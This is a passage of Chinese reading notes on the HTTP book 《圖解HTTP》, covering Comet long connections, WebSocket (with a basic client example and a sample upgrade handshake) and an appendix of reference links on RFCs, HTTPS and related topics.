  3. 控制資訊和資料展示分離,HTTP長連線關閉需要依賴客戶端傳送關閉請求,但是很多時候客戶端會自行關閉網頁,服務端需要把阻塞等待客戶端請求轉變為關閉。為了解決這個問題在AJAX的實現方式中會非同步的傳送一個關閉請求。基於iframe的方式則需要2個Iframe,一個負責顯示,另一個負責交換控制資訊,控制請求能快速響應不至於被顯示資訊阻塞。
  4. 維持心跳,所謂的維持心跳是服務端需要一種檢查客戶端是否活動的檢查機制,定期檢查客戶端是否關閉連線,如果關閉連線則會進入到阻塞讀的環節,如果客戶端已經關閉則會進入異常狀態並且關閉連線釋放資源。

    注意如果是基於 AJAX 的長輪詢方式需要採用計時器的方式,透過計時器計時當客戶端很長時間沒傳送請求會認為客戶端已經自行關閉並且同樣釋放資源,保證伺服器資源有效利用。

    最後如果自身出現問題,也需要通知客戶端然後釋放資源,防止漏洞溢位。

5.3.5 WebSocket

本來屬於HTML5的標準一部分,結果在出現之後逐漸脫離HTML5 成為一個獨立的協議,現代主流瀏覽器基本全部相容WebSocket(除了IE)。

WebSocket 通訊協議在 2011 年 12 月 11 日,被 RFC 6455 - The WebSocket Protocol 定為標準。

WebSocket解決Comet和Ajax的痛點問題是一旦 Web 伺服器與客戶端之間建立起 WebSocket 協議的通訊連線,之後所有的通訊都依靠這個專用協議進行,也就是說類似協議“升級”,由於不需要客戶端主動獲取資料,服務端在建立連線之後可以直接向客戶端推送資料。

設計目的:最初目的是解決Ajax和 Conmet 的XmlHttpRequest 附帶所引發的缺陷。這兩個元件的根本缺陷是只能由客戶端完成請求傳送

當然並不是說只使用客戶端請求無法完成內容實時更新,有一種辦法是使用使用輪詢的方式獲取資訊但是輪詢意味著不斷的和伺服器請求連線,還有作為過渡的相容元件"彗星"。

關於WebSocket有下面的特點:

(1)建立在 TCP 協議之上,上下相容。

(2)與 HTTP 協議有著良好的相容性。預設埠也是80和443,並且握手階段採用 HTTP 協議,因此握手時不容易遮蔽,能借助HTTP進行代理。

(3)輕量化響應格式,高效。

(4)可以傳送文字,也可以傳送二進位制資料。

(5)沒有同源限制,客戶端可以與任意伺服器通訊。

(6)協議識別符號是ws(如果加密,則為wss),伺服器網址就是 URL。

(7)減少通訊量,因為一旦建立連線就會一直保持連線狀態,所以HTTP首部的開銷也會減少。

案例:

// Create WebSocket connection.
const socket = new WebSocket('ws://localhost:8080');

// Connection opened
socket.addEventListener('open', function (event) {
    socket.send('Hello Server!');
});

// Listen for messages
socket.addEventListener('message', function (event) {
    console.log('Message from server ', event.data);
});

基本的步驟如下:

  1. 握手請求。當建立HTTP連線之後,利用HTTP 的 Upgrade 首部欄位,告知伺服器通訊協議發生改變,可以看看做HTTP連線之後再次發起一次“升級協議”請求。
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
備註:Sec-WebSocket-Key 欄位內記錄著握手過程中必不可少的鍵值。 Sec-WebSocket-Protocol 欄位內記錄使用的子協議。
  1. 因為最初的HTTP連線可能存在資料互動,所以對於之前的請求返回狀態碼 101 Switching Protocols 的響應。
如果不知道101是什麼沒啥關係,看看 [[《圖解HTTP》- 狀態碼]] 這一章會發現實際上就是個沒什麼影響的提示資訊,下面的解釋自行翻譯,有利於加深印象。

101狀態碼

書中的WebSocket的圖畫的不錯,基本可以直觀感受到WebSocket這個單獨的協議是如何和HTTP配合的。

WebSocket

關於WebSocket有很多細節可以展開,礙於本書面向最基本初學者緣故,所以這篇讀書筆記不做過多解釋,這裡也上網找了一些資料作為擴充,,具體內容請閱讀“參考資料”部分。

tjhttp N、《圖解HTTP》讀書筆記 - 附錄

介紹

雖然標題起名叫“附錄”,實際上是個人蒐集筆記而已。

附錄部分是把之前各個章節參考的各種文章和資料彙總一遍,如果你也想閱讀這本書,相信這些內容對你一定有幫助。

附一份PDF,感興趣可以自取備份。

連結:https://pan.baidu.com/s/1GFsK...
提取碼:bcqa

如果失效,可以透過公眾號“懶時小窩”找到我,後臺回覆“圖解HTTP”獲取相關參考資料

N0、IETF 是如何協商協議的

IETF的地位這裡就不囉嗦了,下面這篇文章可以瞭解到過去如何透過類似郵件溝通的方式,:

#109 (Clarify entity / representation / variant terminology) – Hypertext Transfer Protocol Wiki (ietf.org)

IETF 是如何協商協議的

N1、HTTP歷史協議白皮書

如果要深入挖掘HTTP,那麼必然繞不開這些協議原文寫了啥,雖然在文章已經給出超連線,但是為了方便查詢,這裡還是留了一份。

這些內容的瞭解來源於這一篇部落格:【RFC】HTTP/1.1 系列(7230 - 7235)

注意 HTTP1.1 有些資料還在討論 RFC2616,實際上早就已經被廢棄了。

N2、HTML1.0

Hypertext Markup Language (HTML)

A Representation of Textual Information and MetaInformation for Retrieval and Interchange

http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt

N3、NCSA Mosaic bounce page

1993 年秋天,Mosaic 的 Windows 版和 Macintosh 版面世。使用 CGI 技 術的 NCSA Web 伺服器、NCSA HTTPd 1.0 也差不多是在這個時期出 現的。
http://archive.ncsa.illinois.edu/mosaic.html

The NCSA HTTPd Home Page(存檔)
http://web.archive.org/web/20090426182129/http://hoohoo.ncsa.illinois.edu/

(原址已失效)

N4、httpbis(Hypertext Transfer Protocol Bis)

負責網際網路技術標準的 IETF(Internet Engineering Task Force,網際網路 工程任務組)創立 httpbis(Hypertext Transfer Protocol Bis,http://datatracker.ietf.org/w...)工作組,其目標是推進下一 代 HTTP——HTTP/2.0 在 2014 年 11 月實現標準化。

其實IETF是網際網路發展到現在不可或缺的角色,並不由任何一個公司或者組織,而是屬於公開面向全世界可以加入討論的類似“論壇”的東西,關於HTTP的協議和規範都是由它發表,也是標準的直接制定者。地位毋庸置疑。

地址:https://datatracker.ietf.org/wg/httpbis/about/

httpbis可以看做是建立HTTP協議標準的工程組構建的一個網站。

Bis的意思叫做,“bis”來自“兩次”或“重複”。它用於表示某物的第二個變體(儘管通常只有小的變體,不需要新名稱),在HTTP的上下文中,HTTPbis是負責完善HTTP的工作組的名稱。

其他解釋:這個詞(也用作字首或字尾)bis,適用於一些現代協議標準,是古拉丁語,意為“重複”(akin to Old High German“twice”)。當協議以“bis”結尾時,這意味著它是該協議的第二個版本。 另外,ter來自古拉丁語,意思是“三次”。

N5、RSS

如果你對RSS有興趣,那麼建議花點時間把下面幾個文章看一遍:

N6、XSS

簡單介紹XSS攻擊以及緩解這些攻擊的技術。

Types of attacks - Web security | MDN (mozilla.org)

N7、Websocket

有關Websocket的API參考部分:

WebSocket - Web API 介面參考 | MDN (mozilla.org)

以及一位阿里大佬介紹的WebSocket的內容,文章相關連線的參考資料比較有閱讀價值,建議收藏之:

WebSocket協議:5分鐘從入門到精通 - 程式猿小卡 - 部落格園 (cnblogs.com)

N8、SPDY

這部分內容我們可以結合HTTP2.0 進行擴充套件,因為是已經實現的東西,可以檢視相關的新特性支援。

SPDY的參考網站: http://www.chromium.org/spdy/

N9、Comet

更加詳細的講述 Comet 這一項技術。

Comet技術詳解:基於HTTP長連線的Web端實時通訊技術 - 知乎 (zhihu.com)

關於更多Comet的百科和歷史發展可以看下面的百科,本小節的內容也包含在百科內詳細介紹:

Comet (programming) - Wikipedia?cm_mc_uid=72410021035714633836363&cm_mc_sid_50200000=1464236784)

N10、HTTP首部介紹

全面解讀HTTP Cookie - 騰訊雲開發者社群-騰訊雲 (tencent.com)

N11、HTTP 狀態程式碼備忘單

這裡推薦兩個網站:
第一個網站:一個澳大利亞團隊的自建部落格,維護了有關HTTP的狀態介紹,網站做的挺好看的。

網站地址:https://www.websiterating.com/zh-CN/resources/http-status-codes-cheat-sheet/#summary

圖片下載地址:https://www.websiterating.com/wp-content/uploads/http-status-codes.png

狀態碼

第二個網站:也是類似網站,但是個人感覺排版做的不錯。

網站地址:HTTP Status Codes Glossary - WebFX

https://www.websiterating.com/zh-CN/resources/http-status-codes-cheat-sheet/#summary

N12、負載的概念

個人不太理解為什麼新協議要把實體換成負載這個概念,於是到下面這篇文章學習了一波:

https://www.zhihu.com/question/263752229

前三個回答基本能透徹瞭解到HTTP協議後續的發展中為什麼要替換實體的概念為負載,以及在語義定義的內容。

另外本文所有內容建議用“負載”代替“實體”的概念,不要再用“實體”去看待實體。與時俱進嘛。

N13、內容協商概念參考

MDN上面有關內容協商更為詳細的解釋:

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Content_negotiation

N14、部分章節擴充套件閱讀

介紹:

下面的內容是從各個章節抽取的一些零碎參考連結,並不是主要內容,可以選擇閱讀。

N14、0 HTTP 協議重點特性參考(推薦)

吃透HTTP協議其實只要看官方的協議原文足矣。

當然學習過程難以避免需要查資料,這裡給了一些個人寫文章的參考文章資料。

資料1:HTTP/2的官方介紹(官方的一手資料,定協議的作者寫的,最權威的資料了)

RFC 9113 - HTTP/2 (httpwg.org)

資料2:這篇英文部落格用5分鐘的時間快速講述了HTTP/3的新特性,比較有意思的文章。

https://www.jesuisundev.com/en/understand-http3-in-5-minutes/

資料3:總結的非常不錯的用心的部落格,寫作日期比較接近,個人很多內容理解也參考自這篇部落格。

(最系統、最全面)這一次,徹底搞懂HTTP面試 - 掘金 (juejin.cn)

資料4:關於HTTP進化的一些歷史討論參考

https://segmentfault.com/a/1190000040631005

資料5:有關HTTP的發展史參考

https://www.cnblogs.com/songyao666/p/16065502.html

N14.1、其他參考協議(原書第一章)

RFC3986

<s>RFC2396規範文字</s>,目前已經廢棄。請參考RFC3986

RFC3986中文對照翻譯:RFC3986中文對照翻譯
RFC3986協議原文:https://www.rfc-editor.org/rfc/rfc3986.html

IANA - Uniform Resource Identifier (URI) SCHEMES(統一資源識別符號方案)(第一章)

標準的 URI 協議方案有 30 種左右,由隸屬於 國際網際網路資源管理的非營利社團 ICANN(Internet Corporation for Assigned Names and Numbers,網際網路名稱與數字地址分配機構)的 IANA(Internet Assigned Numbers Authority,網際網路號碼分配局)管理 頒佈。

http://www.iana.org/assignments/uri-schemes

N14.2、Keberos認證(第八章未介紹)

關於Keberos的認證參考部落格,推薦閱讀順序 2、1、3:
第一篇: https://www.roguelynn.com/words/explain-like-im-5-kerberos/
第二篇:https://blog.csdn.net/sky_jiangcheng/article/details/81070240
第三篇:https://zhuanlan.zhihu.com/p/266491528

N14.3、狀態碼[HTTP1.1](第四章補充)

注意本協議到本文協作為止最新協議為 HTTP3.0。但是目前還是HTTP1.1的狀態碼定義最為成熟,所以拿了HTTP1.1的介紹。

N15、HTTPS

下面的內容適合擴充套件閱讀,由於本書涉及的內容比較入門,考慮讀者閱讀感受沒有更加深入,這些資料個人都粗略或者認真看過一遍,都是不錯的資料。

HTTPS - Wikipedia

Transport Layer Security - Wikipedia

看完這篇文章,我奶奶都懂了https的原理

徹底搞懂HTTPS的加密原理 - 知乎 (zhihu.com)

假如讓你來設計SSL/TLS協議,你要怎麼設計呢?-華為開發者論壇 (huawei.com)(優質文章)

The First Few Milliseconds of an HTTPS Connection (moserware.com)(優質文章)

TLS - SSL (Schannel SSP) Overview | Microsoft Docs

為什麼 HTTPS 需要 7 次握手以及 9 倍時延 - 面向信仰程式設計 (draveness.me)

N16、優質部落格或者網站

N16.1 RFC自動翻譯文件的頁面列表

針對詞彙量較弱的同學可以中英對照翻譯,建議英文拿IETF網站原文對照。

RFC自動翻譯文件的頁面列表

網站介紹:

  • 我們不保證翻譯的準確性。 請務必將其與英文文字進行對照閱讀。
  • 在極少數情況下,部分原文會被省略,因此請務必從右上角的“Orig”連結到原文閱讀原文。
  • 當一個圖形或表格跨越多個頁面時,或者當它們之間有空白行時,有可能翻譯不準確。
  • 關於翻譯,由於 RFC 版許可權制,僅釋出 RFC 2220 或更高版本。

N16.2 HTTP 教學

一個臺灣友人的技術部落格。如果想要深入HTTP繼續補充和學習可以看看網站的資料,個人看過之後都十分不錯。

網址:
https://notfalse.net/http-series

N16.3 Web安全學習筆記

作者是一位低調的大佬,2000多Star 足以證明質量。

網址:LyleMi/Learn-Web-Hacking: Study Notes For Web Hacking / Web安全學習筆記 (github.com)

總結

看完這本書收穫還算挺大的,有了《網路是怎麼樣連線的》這本書的基礎概念之後,看這本書看的很快,所以更多內容是針對書本的擴充套件和思考,另外學習過程中也查閱了非常多的資料,這裡都放到附錄裡面了。

相關文章